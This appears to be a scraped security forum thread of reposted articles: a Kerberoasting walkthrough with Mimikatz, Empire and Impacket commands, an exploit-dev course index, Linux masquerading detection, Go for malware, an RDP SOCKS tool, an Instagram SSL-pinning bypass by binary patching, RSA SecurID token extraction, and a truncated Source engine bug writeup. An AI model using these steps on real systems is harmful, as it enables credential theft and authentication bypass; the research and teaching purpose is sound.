dump service Hash, this can be done with the help of the following command. 1 2 Import-Module .\Invoke-kerberoast.ps1 Invoke-kerberoast Once you get the service hash, follow the above method to brute force the password. Step 2: Brute Force Hash Again, repeat the same procedure to brute force the hashes. PART 3: OLD Kerberoasting Procedure on Remote System Method 1: Metasploit PowerShell script via meterpreter ps1- SPN Discovery script SetSPN Utility ps1 Mimikatz via Metasploit 1. PowerShell script via meterpreter Step1: SPN Discovery Download “Find-PotentiallyCrackableAccounts.ps1” & “Export-PotentiallyCrackableAccounts.ps1” from here in your local machine and upload it on the host machine through meterpreter session, then invoke PowerShell to execute the script remotely. These scripts will discover the SPN and save the output in CSV format. 1 2 3 4 Import-Module .\Find-PotentiallyCrackableAccounts.ps1 Find-PotentiallyCrackableAccounts -FullData -Verbose Import-Module .\Export-PotentiallyCrackableAccounts.ps1 Export-PotentiallyCrackableAccounts Download the Report.csv in your local machine. The report.csv file will list the SPNs available in the host system. Setspn – SPN Discovery Utility Another method, obtain the meterpreter session by compromising the host machine and load PowerShell. Use setspn utility to list all SPNs in the domain. 1 setspn -T ignite -Q */* As you can observe that again we have discovered the SPN for SQL service Step 2: Extract & Dump TGS_ticket & Obtain Hash Upload the PowerShell script “TGSCipher.ps1” and simultaneously convert the request output it into John format. 1 2 Import-Module .\Get-TGSCipher.ps1 Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John As a result, we obtain the HASH string for the SQL Service. Step 3: Brute Force Hash Again, repeat the same procedure to brute force the hashes. 2. Mimikatz via Metasploit Once you have the meterpreter session of the host system then you can try to upload mimikatz.exe and then perform all steps discussed in Part 1 of section C. Step 1: SPN Discovery Download and execute the mimikatz & run Kerberos::list command for SPN discovery 1 2 ./mimikatz.exe kerberos::list Step 2: Dump TGS ticket Run the export command for extracting the ticket named with .kirbi extension. 1 kerberos::list /export Download the kirbi file in your local machine to convert it into the crackable format. Step 3: Convert the Kirbi to Hash & Brute Force Hash Again, I renamed the obtain file name as “2-40a5000…..kirbi” into “raj.kirbi” and again convert local.kirbi into john crackable format with the help of kirbi2john.py (possible at /usr/share/john/) named as “localhash”; then use john for brute force as done above. 1 2 3 mv "40a5000.....kirbi" "local.kirbi" /usr/share/john/kirbi2john.py local.kirbi > localhash john –wordlist=/usr/share/wordlists/rockyou.txt localhash Method 2: PowerShell Empire Step 1: SPN Discovery use setspn follow above method (Optional in this module) Step 2: Extract & Dump TGS_ticket & Obtain Hash Once you have empire agent, execute the below module which will extract and dumb .kirbi format file for TGS ticket. 1 2 usemodule credential/mimikatz/extract_tickets execute Step 3: Convert kirbi to hash & then Brute force You can also tgscrack.py which a dedicated python script that converts kirbi format into the crackable format and then brute force the hashes to extract the password. Download it from here then run the following commands 1 2 3 mv [kirbi_file] [new.kirbi] python extractServiceTicketParts.py [path_of_new.kirbi_file] > ignitehash go run tgscrack.go -hashfile ignitehash -wordlist /usr/share/wordlists/rockyou.txt PART 4: NEW Kerberoasting Procedure on Remote System Method 1: PowerShell Empire Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) Once you have Empire/agent then load invoke_kerberoast module, it is a cool module as it discovered the SPN, extracts the ticket, and dump the service hash from inside the TGS cipher. 1 2 usemodule credentials/invoke_kerberoast execute As you can observe that it has dumped the service hash within a second of time. Step 2: Brute Force Hash Again, repeat the same procedure to brute force the hashes. Method 2: Metasploit Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) If you are Metasploit interface lover then after obtaining a meterpreter session you can load the PowerShell and upload kerberoast.ps1 script, download it from here, it discovered the SPN, extract the TGS ticket then dump the service hash from inside the TGS cipher. 1 2 powershell_import /root/powershell/Invoke-kerberoast.ps1 powershell_execute Invoke-Kerberoast Step 2: Brute Force Hash Again, repeat the same procedure to brute force the hashes. Method 3: Impacket Step 1: SPN Discover, Dump TGS, obtain HASH (All-in-one) Use Impacket inbuilt module “GetUSerSPNs.py”, it is a python script that it discovers SPN, extract TGS and dump service Hash, this can be done with the help of the following command: 1 ./GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashika It will dump the service hash and with the help of the dictionary, you can brute force it for extracting service passwords. Step 2: Brute Force Hash Again, repeat the same procedure to brute force the hashes. 1 john –wordlist=/usr/share/wordlists/rockyou.txt hashes Reference: Microsoft Service Principal Names https://www.tarlogic.com/en/blog/how-kerberos-works/ Sursa: https://www.hackingarticles.in/deep-dive-into-kerberoasting-attack/
-
Welcome! I am Fu11shade, I specialize in 0day research and offensive Windows exploitation, this course is to fill in the gap on the internet for Windows exploitation content. I am rapidly working to finish the last few (newly added) posts, everything should be finished by the end of this week. Currently about 5-6 missing posts so far. This page provides a pathway for learning Windows exploit development, following the provided blog posts will allow you to learn Windows exploit development from the basics, to advanced kernel exploitation on a Windows 10 system with all the mitigations enabled. This course can all be downloaded as a polished PDF book format [coming soon!] Basic exploitation (late 1990’s - early 2010’s era) https://github.com/FULLSHADE/OSCE is my repository with over 25 from scratch written exploits, these exploits are in-scope of the “basic exploitation” category of this series. Fair warning, some of the following posts are not finished yet… Most everything else is Id Article Author 0 Setting up Immunity and WinDBG with Mona.py FullShade 1 Classic JMP ESP buffer overflow FullShade 2 Local SEH buffer overflow FullShade 3 Local SEH buffer overflow with a DEP bypass FullShade 4 Remote SEH overflow with egghunters FullShade 5 Remote SEH overflows & multi-stage jumps FullShade 6 SEH overflows, alphanumber & unicode encoding bypass FullShade 7 Bypassing SEH mitigations with DLL injection FullShade 8 Code caving and backdooring PEs FullShade Windows Internals theory Id Article Author 9 Understanding Windows security mitigations FullShade 10 Understanding Windows memory data structures FullShade 11 Understanding the PEB & WinDBG analysis FullShade 12 Kernel Opaque data structures & access tokens FullShade 13 Windows Kernel memory pool & vulnerabilities FullShade 14 Basics of Kernel-mode driver (IRPs) & I/O requests FullShade 15 IOCTL’s for kernel driver exploit development FullShade Windows kernel exploitation (2010 - 2013 era) POCs and fully completed exploits can be found here https://github.com/FULLSHADE/HEVD-Exploits, more coming thing week Id Article Author 16 Writing a Windows Kernel-Mode Driver - Part 1 FullShade 17 HEVD - Windows 7 x86 Kernel Stack Overflow FullShade 18 HEVD - Windows 7 x86 Kernel NULL Pointer Dereference FullShade 19 HEVD - Windows 7 x86 Kernel Type Confusion FullShade 20 HEVD - Windows 7 x86 Kernel Arbitrary Write FullShade 21 HEVD - Windows 7 x86 Kernel Use-After-Free FullShade 22 HEVD - Windows 7 x86 Kernel Interger Overflow FullShade 23 HEVD - Windows 7 x86 Kernel Uninitialized Stack Variable FullShade 24 HEVD - Windows 7 x86 Kernel Pool Overflow FullShade 25 HEVD - Windows 7 x86_64 Kernel Stack Overflow FullShade 26 HEVD - Windows 7 x86_64 Kernel Arbitrary Write FullShade Advanced Windows kernel exploitation (2016 - 2020 era) Id Article Author 27 HEVD - Windows 8.1 64-bit Kernel Stack Overflow w/ SMEP FullShade 28 Leaking Kernel Addresses on Windows 10 64-bit FullShade 29 Abusing GDI Bitmap objects on Windows 10 64-bit FullShade Hunting Windows 0days Once you have enough Windows exploitation knowledge, you can start auditing third-party applications and drivers for 0day vulnerabilities, below are a few that have been discovered with this level of information. https://fullpwnops.com/cves.html Discovered 0days by me can be found littered around my Github profile, more organization will come soon Id Article Author 30 Fuzzing drivers for 0days, discover new vulnerabilities FullShade Sursa: https://fullpwnops.com/windows-exploitation-pathway.html
-
Detecting Linux kernel process masquerading with command line forensics By Craig Rowland on 27 Apr 2020 Linux kernel process masquerading is sometimes used by malware to hide when it is running. Let’s go over how you can unmask a piece of Linux malware using this tactic. What is Linux kernel process masquerading? On Linux, the kernel has many threads created to help with system tasks. These threads can be for scheduling, disk I/O, and so forth. When you use a standard process listing command, such as ps, these threads will show up as having [brackets] around them to denote that they are threads of some kind. Ordinary processes will not normally show up with [brackets] around them in the ps listing. The brackets denote that the process has no command-line arguments, which usually means it was spawned as a thread. For example, the below listing shows kernel threads vs. normal processes: ps –auxww Figure 1 — Linux kernel threads vs. normal processes. What does it look like? Linux malware uses a variety of techniques to hide from detection. One method they will use is to try to impersonate a kernel thread by making the process show [brackets] around its name in the ps listing. Administrators can easily overlook a malicious process this way. If you look at the listing below, we have started a process to hide itself by trying to look like a kernel thread. Can you see it? Figure 2 — An example of Linux kernel thread masquerading hiding. How to impersonate a Linux kernel thread Now that you know what Linux kernel thread masquerading looks like, let’s set up a test so you can play with how to find it using command line forensics. We’ll use the sleep command for our simulation as you can do it on any system without fear of causing trouble: export PATH=.:$PATH cp /bin/sleep /tmp/[kworkerd] cd /tmp "[kworkerd]" 3600 & The export path sets things so we can execute the file in the local directory without needing to put a “./” in front of it. This makes it look more legit. We next copy the sleep command over to /tmp and then run it under the bogus name [kworkerd]. We put on a value of 3,600 seconds to the sleep command so it will quietly exit after an hour once testing is over. Let’s look at our handiwork and we should see [kworkerd] running when we do our ps command. ps -auxww Figure 3 — Real vs. imposter Linux kernel thread. De-cloaking Linux kernel thread masquerading with process maps The first method we’ll use to de-cloak a masquerading process is to see if it has any contents under /proc/<PID>/maps. This location is normally where processes show libraries they are linking to and where they mapped to in memory. For real kernel threads, it should be empty. If you look at this location for a process that is named in [brackets] but it shows any data, then it is not a real kernel thread. The basic command we’ll use is cat /proc/<PID>/maps where <PID> is the process ID we are investigating. In the above example, we think that [kworkerd] looks suspicious with PID 2121 so we’ll check it out: cat /proc/2121/maps Figure 4 — Using Linux /proc maps to detect kernel masquerading. If you see anything listed under this area and the process has [brackets] around it, then it’s likely malicious and trying to hide. If you want, you can run this command to quickly go over all the system PIDs and see which ones are named with brackets but have maps files. Normally you should see nothing here. Anything that shows data should be investigated further. ps auxww | grep \\[ | awk '{print $2}' | xargs -I % sh -c 'echo PID: %; cat /proc/%/maps' 2> /dev/null This command outputs the image below if it finds something. Figure 5 — Finding Linux kernel masquerading with a script. In the /proc/<PID>/maps;listing you’ll see some paths to investigate where the binary has links to itself or libraries it is using. In the above, we see the path /tmp/[kworkerd] which would be a high priority location to investigate. You may also see libraries that are suspicious, references to hidden directories, and so forth. Take a close look at it and be sure you don’t miss anything! De-cloaking Linux kernel thread masquerading with cryptographic hashing Another way to de-cloak a masquerading Linux kernel thread is to see if it shows a binary attached to the running process. Basically, you just use the technique we discussed on recovering malicious binaries that are deleted, but see if you can get a SHA1 hash. If you get a hash back, then it’s a normal process trying to hide and is not a kernel thread. Real kernel threads won’t have a link to the binary that started them. This technique was suggested by @r00tkillah on Twitter when this subject was first posted. A process binary on Linux can be quickly copied if you simply look at /proc/<PID>/exe. You can copy this file to a new location and have an instant snapshot of the binary that started the process. You can also use this link to get an instant hash to check against databases of known malware. Real kernel threads won’t have this data available, only imposters will. In our case, we’ll use this knowledge to investigate our suspicious PID 2121 like this: sha1sum /proc/2121/exe Figure 6 — Obtaining SHA1 hash of Linux kernel masquerading attack. Now we see the hash, let’s recover the binary and copy it somewhere so it can be analyzed offline. Using the command below we’ll make a copy to /tmp/suspicious_bin. Now, we have our own copy in case the malware tries to delete itself in self-defence: cp /proc/2121/exe /tmp/suspicious_bin Figure 7 — Recovering suspicious Linux malware binary. If you want to automatically crawl through the PIDs and get SHA1 hashes of imposters, you can run this command: ps auxww | grep \\[ | awk '{print $2}' | xargs -I % sh -c 'echo PID: %; sha1sum /proc/%/exe' 2> /dev/null The above command will try to get a SHA1 hash of all processes with [brackets] around them. Any that return a hash are likely imposters: Figure 8 — Script output of SHA1 hash from masquerading Linux kernel thread. Now you have two solid ways to use the Linux command line to investigate suspicious processes trying to masquerade as kernel threads. Adapted from original post which appeared on Sandfly Security. Craig Rowland is Founder and CEO of Sandfly Security. Sursa: https://blog.apnic.net/2020/04/27/detecting-linux-kernel-process-masquerading-with-command-line-forensics/
-
- 1
-
How To Call Windows APIs in Golang 5 minute read Well, it’s been quite a while since my last post, but it feels good to be back again. I’ve taken a break from doing exploit development stuff since getting my OSCE, I don’t have much of passion for it anymore. I’m not focusing more on reversing and creating malware. And this blog post is a result of me going down this path. I’ve been learning a lot about Golang, trying to learn a new language and trying to future-proof my skill sets for a while. Go has actually been a blast to learn, but I needed to start tying it into my goal of learning how to develop malware. In this pursuit, I wanted to see the full realm of how Go can be utitlized to conduct malicious functions on users machines, and I soon after found out that you can call Windows APIs (similar to C programming) from within Go. Though I found this out, there is VERY LITTLE documentation about this, if any at all. I found one blog (which I will link soon after this introduction) that talks about it, but is already a tad dated and not super easy to follow for people like me (non-developers). Wanting to be the change I want in the world, I decided to make this blog. One shoutout I have to make is to this blog which is the one I mentioned above and had the most robust explanation on this topic that I could find. Without much more rambling, let’s get into the meat of this blog! Different Libraries to Call Windows APIs There are quite a few libraries within Golang that allow you to call windows APIs. To just name the ones I know of, there are syscall, windows, w32, and C. The last one doesn’t truly allow you to call APIs directly, but it allows you to write C code within your Golang source, and also help you convert data types to assist with these other libraries. I had quite of a bit of issue with each of these, and really had the best luck with windows and syscall, so let’s talk about this one first. Changing Windows Background Image in C++ My idea to test using Windows API’s was to try and change the background in my development VM. Let’s see what this looks like in C++ first and then we will investigate porting it over to Go. #include <windows.h> #include <iostream> int main() { const wchar_t *path = L"C:\\image.png"; int result; result = SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (void *)path, SPIF_UPDATEINIFILE); std::cout << result; return 0; } I’m going to assume a level of comfortability with reading C code if you’re reading this, so I wont go into the structure of this code, but as you can see, you can use the SystemParameterInfoW() function to channge the wallpaper in Windows. One of the greatest things Microsft has given to the people are it’s MSDN documenation. Here is the struture of SystemParameterInfoW() from MSDN documenation: BOOL SystemParametersInfoW( UINT uiAction, UINT uiParam, PVOID pvParam, UINT fWinIni ); All we need to really know for this, is the value for uiAction to change the background (which is 0x0014 (which represents SPI_SETDESKWALLPAPER)), uiParam can be 0, pvParam will be the path to the image we want to change, and fWinIni will be set to 0x001A which is defined as SPIF_UPDATEINIFILE from the documentation. Knowing all this, let’s start setting up the Go version of this! Changing Windows Background Image in Golang Now that we are equipped with how we can call this function, we can start piecing together our Go file. All we need is one file, so we start out with our skeleton file, with some imports: package main import ( "fmt" "unsafe" "golang.org/x/sys/windows" ) func main() { } Let’s go over the imports here. fmt for us to print some text to the terminal, unsafe allows us to bypass the safety of declaring types within Go programs, and finally golang.org/x/sys/windows is what will allow us to call Windows APIs. Looking over the documentation of the windows library, since the SystemParameterInfoW() function is explicitly defined by the creator of this library, we have to manually open a handle the DLL that holds this function, and then create a variable that points to this function. In the windows library, the way to open a handle to a DLL is: user32DLL = windows.NewLazyDLL("user32.dll") Which will then add to a variable declaration block with the pointer to the function we want from this DLL: var ( user32DLL = windows.NewLazyDLL("user32.dll") procSystemParamInfo = user32DLL.NewProc("SystemParametersInfoW") ) So now we have to variables, and we will call upon the second one later on and load our parameters into it to have it change our wallpaper. Now within our main function, we first need to define the image path of where the picture we want to change our wallpaper to is located. For me it’s located under C:\Users\User\Pictures\image.jpg. You have to wrap this path within the UTF16PtrFromString() function to change it’s type so that it will be accepted into the C function, since Windows APIs get a little tricky with Golang strings. This will definiely be an issue doing more complicated APIs, which I will have another blog about in the future. I then have the binary print out to the user that it is in fact changing the background (but Go binaries execute so quickly probably doesn’t matter too much, I just like having print statements!) Finally, we use the Call() function within this windows library to invoke the API and have it execute and change our wallpaper. Here is the final main function in our code: func main() { imagePath, _ := windows.UTF16PtrFromString(`C:\Users\User\Pictures\image.jpg`) fmt.Println("[+] Changing background now...") procSystemParamInfo.Call(20, 0, uintptr(unsafe.Pointer(imagePath)), 0x001A) } So as you can see above, in the last line, we use the procSystemParamInfo variable we declared which points to the API we want to use, then pair that with the Call() function explained earlier, and then load it up with the parameters we discussed towards the begining. You will see two additional wrappers around the imagePath variable on the last line as well. This is a super hacky way to get windows API’s to accept golang variable types, first making the whole parameter a uintptr which is just a pointer that a C function will accept, and then wrapping the UTF16PtrFromString string in unsafe.Pointer() function to then allow Go to bypass the safety of type conversion since we are doing several unorthodox conversions. Let’s compile this with go build from within the directory of the source code and run the exe that gets built. Thanks for reading this! Feel free to hit me up on twitter if you have any questions about this! Happy hacking! Sursa: https://anubissec.github.io/How-To-Call-Windows-APIs-In-Golang/#
-
Tool Release – Socks Over RDP Balazs Bucsay Research, Tool Release May 6, 2020 2 Minutes Introduction Remote Desktop Protocol (RDP) is used to create an interactive session on a remote Windows machine. This is a widely used protocol mostly used by Administrators to remotely access the resources of the operating system or network based services. As penetration testers we frequently find ourselves in a situation where the only access that we are provided to a server or network is a Remote Desktop account. These servers are commonly called Jump boxes. It means that we need to perform our testing via this server. This usually introduces a few extra steps that takes time from us and our clients to setup and configure: Create a list of tools that needs to be installed on the server (optional) Get the list approved by the client (optional) Install the tools on the server Struggle to test with a quickly prepared environment with lots of limitations Repeat all points above On top of this disruptive cycle, some of our clients do not really like us needing to install security testing tools on their machines, which is understandable, but this proves to be a deadlock in many cases. To solve all of these issues above, we are happy to announce our new tool: Socks Over RDP. Socks Over RDP In case our testing has to go through a UNIX based server, this is a non-issue. SSH already has support for SOCKS Proxying, which can be set up for example with the “-D” parameter. The Remote Desktop Protocol and its Windows client however has no such feature. This tool was created to add this functionality to the Remote Desktop Protocol and its client. Just like SSH, upon connection a SOCKS Proxy is created on the client site, which can be used to proxy everything over the existing RDP connection. The tool has two components: A .dll, which needs to be registered on the client computer and will be loaded to the context of the Remote Desktop Client every time when it runs. This does nothing by itself, to active the SOCKS Proxy the other component needs to be executed A .exe, which is the server component. This needs to be copied to the server and executed. No installation, no configuration this is completely hassle free. When the .exe is executed on the server side in the Remote Desktop Connection, it connects back to the plugin over a Dynamic Virtual Channel (which is a feature of the protocol) and the plugin will spin up a SOCKS Proxy on the client side. That proxy by default listens on 127.0.0.1:1080, which can be configured as a proxy in browsers or tools. Note that the server component (.exe) does not require any special privileges on the server side at all, a low privileged user is also allowed to open virtual channels and proxy over the connection. It is worth noting that this tool works on Windows only. In case you are a UNIX user, FreeRDP released a similar or equivalent plugin for their tool as well. The Tool The tool is open source and was released on an online conference called HAVOC, organized by Hackers Academy and can be found on GitHub. Technical details, configuration options and other information can be found there as well: https://github.com/nccgroup/SocksOverRDP Security Concerns By default, there are no security concerns associated with the tool. The server component can be executed as a low privilege user, requiring no configuration or installation at all. Upon misconfiguration of the plugin (client component), the proxy can be changed to listen on all interfaces, which might expose the proxy to other computers on the client’s local network. With a properly configured firewall this can be mitigated. Written by: Balazs Bucsay [@xoreipeip] https://twitter.com/xoreipeip Sursa: https://research.nccgroup.com/2020/05/06/tool-release-socks-over-rdp/
-
Bypass Instagram SSL Certificate Pinning for iOS Hassan, May 5th, 2020 · 3 min read Once again, with another iOS app, and this time we will go through the Instagram iOS app trying to bypass its SSL Certificate Pinning protection. DISCLAIMER: The articles, tutorials, and demos provided on this blog are for informational and educational purposes only, and for those who’re willing and curious to know and learn about Ethical Hacking, Cybersecurity, and Penetration Testing. You shall not misuse the information to gain unauthorized access or any other illegal use. SSL Pinning We have mentioned previously in Bypass Facebook SSL Certificate Pinning for iOS blog, the meaning of SSL Pinning, and the importance of implementing it. Now let’s download the latest version of the Instagram iOS app and step up an HTTP proxy from Wi-Fi settings. Open Burp Suite and configure your proxy options. Then, open the Instagram app and trying to login. If you are using the latest version of Burp Proxy v2020.4 now supports TLS 1.3, you will see a this message in your Dashboard -> Event log tab: Also, your Instagram app will show you a this alert: That’s because of their SSL Certificate Pinning protection which must be bypassed to be able to intercept requests and responses from their server. Reverse Engineering Let’s get the decrypted IPA for the app to reverse-engineer it. Using Frida iOS Dump you will be able to pull the app IPA from your jailbroken iPhone. After the script finish, change the app extension from .ipa to .zip then uncompress it. Copy 1$ mv Instagram.ipa Instagram.zip 2$ unzip Instagram.zip We need to locate the binary that has the SSL Pinning implementation to reverse it. A good way to locate it by using a tools like grep or ack to search for strings that indicate the validation process inside the extracted Payload folder. From the app alert message, we can use strings like OpenSSL, verify error, signed certificate, and verifier failure. Copy 1$ grep -rins "verify error" . 2Binary file ./Instagram.app/Frameworks/FBSharedFramework.framework/FBSharedFramework matches A Mach-O 64-bit shared library binary file called FBSharedFramework was found. It seems the one we found in the Facebook app but less size. We will use Hopper Disassembler to open the binary file. A good start is to search with the alert error shown on the app. So, we will try to find the branch that responsible for OpenSSL cert verify error. We found a match result for our string search. Click on it will navigate us to its location at the __cstring segment which contains all of the strings that are included in the application source code and their hexadecimal offsets. To locate where the string is used in Hopper you can double-click on the cross-reference (XREF) to move to where the string is referenced in the binary. Now we need to gain a better understanding of the code logic that responsible for SSL Pinning using the control flow graph (CFG). Our mission is to avoid reaching the OpenSSL branch so that the app can work normally without any error alerts. After analyzing the control flow graph (CFG) starting from your bottom branch, it seems very similar to the one that we found in the Facebook app. We can found the same isolated branch that doesn’t reach the OpenSSL cert verify error branch. We have to invert the b.ne (short for “Branch if Not Equal”) instruction which branches, or “jumps”, to the address specified if, and only if the zero flag is clear, to the b.eq (short for “Branch if Not Equal”) instruction which branches, or “jumps”, to the address specified if, and only if the zero flag is clear. So, instead of entering to loc_22031c branch that causing the OpenSSL cert verify error, it entering the valid branch. Binary Patching A simple way to do this is by copying the hex encoding for the instruction that we want to change, then past it in an online HEX to ARM converter to get its ARM64 instruction. Then, copy the instruction you got and change it from B.NE to B.EQ as we want it to be. Past it in an online ARM to HEX converter to get our new ARM64 HEX values, as we explained in Bypass Facebook SSL Certificate Pinning for iOS blog. Now, all we have to do is changing the instruction encoding for b.ne from 41 0C 00 54 to 40 0C 00 54 using the hex editor in hopper. Then, save and extract our new binary, from File Menu -> Choose Produce New Executable and replace the new executable with the old one in the same app directory. Now, let’s compress our new Payload folder and change to an IPA again. Copy 1$ zip -r Instagram.zip Payload 2$ mv Instagram.zip Instagram.ipa Copy the new IPA to your jailbroken iPhone using iFunbox and install it using Filza File Manager. Intercepting After a successful installation for the modified application, let’s open it and login when we intercepting the requests using Burp Suite. Now we can intercept all the requests and find interesting vulnerabilities at new endpoints then submit them to Facebook Bug Bounty Program. Sursa: https://www.cyclon3.com/bypass-instagram-ssl-certificate-pinning-for-ios
-
T1111: Two Factor Interception, RSA SecurID Software Tokens 06/05/2020 | Author: Admin Introduction During Red Team Operations, it is not uncommon to find systems or applications related to the engagement objectives being protected by Two Factor Authentication. One of the solutions that we frequently encounter is RSA SecurID Software Tokens. Strategies to circumvent or intercept tokens when faced with such deployments are therefore always desirable; this technique is described in MITRE ATT&CK T1111. In this blog post, we will outline several potential approaches for intercepting RSA SecurID Software Tokens, including the approach that we opted for during our own operations. During the outlined scenarios, we assume access to the victim’s endpoint has already been achieved. Extraction using Screenshots Taking a screenshot is perhaps the straightforward option for token interception and is likely the first idea that would come to anyone’s mind. However, there are a couple of downfalls. Firstly, we are assuming that the software is running and is visible on the client desktop. The second potential problem is that the user may have different configured tokens as can be seen in the image below: As such, if we need to gain access to an account that is not presently visible on the screen, we need to interactively select the token. This approach is unlikely to be viable during a Red Team scenario. Hooking Functions Another potential approach would have been hooking the SetClipboardData function or the one responsible for drawing the token value on the screen. A potential risk with this method is that we need to inject into the current process, a technique that we try to avoid as much as possible. This approach also isn’t as reliable as you might expect, with research showing that a lot of unrelated junk is present on the GUI functions and the SetClipBoardData function would only work if the user pressed the Copy button. For these reasons, we decided to perform further research on how to extract the tokens in a more OpSec friendly strategy. Analysing the Application When reversing the RSA SecureID process in IDA it quickly becomes clear that the application functionality is relatively limited and only several functions were available. After some analysis of the application, the following function was discovered: The program was performing Signature Verification on the desktopclient.dll and then loading the library using the QLibrary::Load function as can be seen on the image above: Since the main executable had limited functions, the focus switched on the desktopclient.dll library. Loading desktopclient.dll in IDA, it was noted that it was making several calls to ole32.dll APIs. At this point it was highly likely that the communication was being achieved using COM. Using OLEView .NET, we can see that two classes are available: RsaTokenService Token OLEView .Net allows you to view a COM object type library (which is a binary file that stores information about object properties and methods). The following interfaces were discovered: [Guid("13a78cfa-ff65-4157-a90d-05afdb16f3c6")] interface IRsaTokenService { /* Methods */ string getCurrentCode(string serial, string pin, [Out] Int32& timeleft); string getNextCode(string serial, string pin, [Out] Int32& timeleft); void displayHelpTopic(string topic); string getCurrentTokencode(); string getNextTokencode(); /* Properties */ string Serials { get; } } [Guid("84652502-e607-4467-a216-be093824e90d")] interface IToken { /* Methods */ void Init(string serial); bool IsPinValid(string pin); /* Properties */ string serialNumber { get; } int otpInterval { get; } bool isPinRequired { get; } string url { get; } string userId { get; } string userFirstName { get; } string userLastName { get; } string label { get; } long deathDate { get; } bool shouldPrependPin { get; } string iconData { get; } int iconType { get; } int digits { get; } string extendedAttributes { get; } } Extracting the Tokens On first glance, the methods described on this interfaces were quite promising and a test harness was created to call them to determine if they functioned as described. To use this COM object, first add a reference of the rsatokenbroker Library: After adding the reference, the following steps were followed for the token extraction: Create an Instance of the RSATokenService class Retrieve all the registered serial numbers of the tokens. Create an Instance of the Token class using the previously retrieved serial number Extract related information from the Token class properties like URL, UserId etc. Call getCurrentCode(string serial, string pin, [Out] Int32& timeleft); RSA SecurID supports protecting the token by a PIN but in our implementation we didn’t have the opportunity to test this configuration further. A simple C# program that extracts all the registered tokens and associated information can be found on GitHub. Conclusions Using the COM object provided us with an interface to extract the tokens in an OpSec safe way, avoiding injecting any process and calling any suspicious APIs. Having a software token, on the same device where the users’ credentials can be compromised is generally a bad idea and counteracts the benefits that many Multi Factor solutions provide. To mitigate against this type of “attack” we would recommend relying on hardware tokens, or using separate hardware (such as a mobile phone) for generating the software tokens. This blog post was written by Rio Sherri. Sursa: https://www.mdsec.co.uk/2020/05/t1111-two-factor-interception-rsa-securid-software-tokens/
-
Source Engine Memory Corruption via LUMP_PAKFILE impost0r May 5, 2020 A month or so ago I dropped a Source engine zero-day on Twitter without much explanation of what it does. After determining that it’s unfortunately not exploitable, we’ll be exploring it, and the mess that is Valve’s Source Engine. History Valve’s Source Engine was released initially on June 2004, with the first game utilizing the engine being Counter-Strike: Source, which was released itself on November 1, 2004 - 15 or so years ago. Despite being touted as a “complete rewrite” Source still inherits code from GoldSrc and it’s parent, the Quake Engine. Alongside the possibility of grandfathering in bugs from GoldSrc and Quake (GoldSrc itself a victim of this), Valve’s security model for the engine is… non-existent. Valve not yet being the powerhouse they are today, but we’re left with numerous stupid fucking mistakes, dude, including designing your own memory allocator (or rather, making a wrapper around malloc.). Of note - it’s relatively common for games to develop their own allocator, but from a security perspective it’s still not the greatest. The Bug The byte at offset A47B98 in the .bsp file I released and the following three bytes (\x90\x90\x90\x90), parsed as UInt32, controls how much memory is allocated as the .bsp is being loaded, namely in CS:GO (though also affecting CS:S, TF2, and L4D2). That’s the short of it. To understand more, we’re going to have to delve deeper. Recently the source code for CS:GO circa 2017’s Operation Hydra was released - this will be our main tool. Let’s start with WinDBG. csgo.exe loaded with the arguments -safe -novid -nosound +map exploit.bsp, we hit our first chance exception at “Host_NewGame”. ---- Host_NewGame ---- (311c.4ab0): Break instruction exception - code 80000003 (first chance) *** WARNING: Unable to verify checksum for C:\Users\triaz\Desktop\game\bin\tier0.dll eax=00000001 ebx=00000000 ecx=7b324750 edx=00000000 esi=90909090 edi=7b324750 eip=7b2dd35c esp=012fcd68 ebp=012fce6c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c: 7b2dd35c cc int 3 On the register $esi we can see the four responsible bytes, and if we peek at the stack pointer – Full stack trace removed for succinctness. 00 012fce6c 7b2dac51 90909090 90909090 012fd0c0 tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c [cstrike15_src\tier0\memstd.cpp @ 2880] 01 (Inline) -------- -------- -------- -------- tier0!CStdMemAlloc::InternalAlloc+0x12c [cstrike15_src\tier0\memstd.cpp @ 2043] 02 012fce84 77643546 00000000 00000000 00000000 tier0!CStdMemAlloc::Alloc+0x131 [cstrike15_src\tier0\memstd.cpp @ 2237] 03 (Inline) -------- -------- -------- -------- filesystem_stdio!IMemAlloc::IndirectAlloc+0x8 [cstrike15_src\public\tier0\memalloc.h @ 135] 04 (Inline) -------- -------- -------- -------- filesystem_stdio!MemAlloc_Alloc+0xd [cstrike15_src\public\tier0\memalloc.h @ 258] 05 (Inline) -------- -------- -------- -------- filesystem_stdio!CUtlMemory<unsigned char,int>::Init+0x44 [cstrike15_src\public\tier1\utlmemory.h @ 502] 06 012fce98 7762c6ee 00000000 90909090 00000000 filesystem_stdio!CUtlBuffer::CUtlBuffer+0x66 [cstrike15_src\tier1\utlbuffer.cpp @ 201] Or, in a more succinct form - 0:000> dds esp 012fcd68 90909090 The bytes of $esi are directly on the stack pointer (duh). A wonderful start. Keep in mind that module - filesystem_stdio — it’ll be important later. If we continue debugging — ***** OUT OF MEMORY! attempted allocation size: 2425393296 **** (311c.4ab0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000 eip=00000032 esp=012fce7c ebp=012fce88 iopl=0 nv up ei ng nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010292 00000032 ?? ??? And there we see it - the memory allocator has tried to allocate 0x90909090, as UInt32. Now while I simply used HxD to validate this, the following Python 2.7 one-liner should also function. print int('0x90909090', 0) (For Python 3, you’ll have to encapsulate everything from int onward in that line in another set of parentheses. RTFM.) Which will return 2425393296, the value Source’s spaghetti code tried to allocate. (It seems, internally, Python’s int handles integers much the same way as ctypes.c_uint32 - for simplicity’s sake, we used int, but you can easily import ctypes and replicate the finding. Might want to do it with 2.7, as 3 handles some things oddly with characters, bytes, etc.) So let’s delve a bit deeper, shall we? We would be using macOS for the next part, love it or hate it, as everyone who writes cross-platform code for the platform (and Darwin in general) seems to forget that stripping binaries is a thing - we don’t have symbols for NT, so macOS should be a viable substitute - but hey, we have the damn 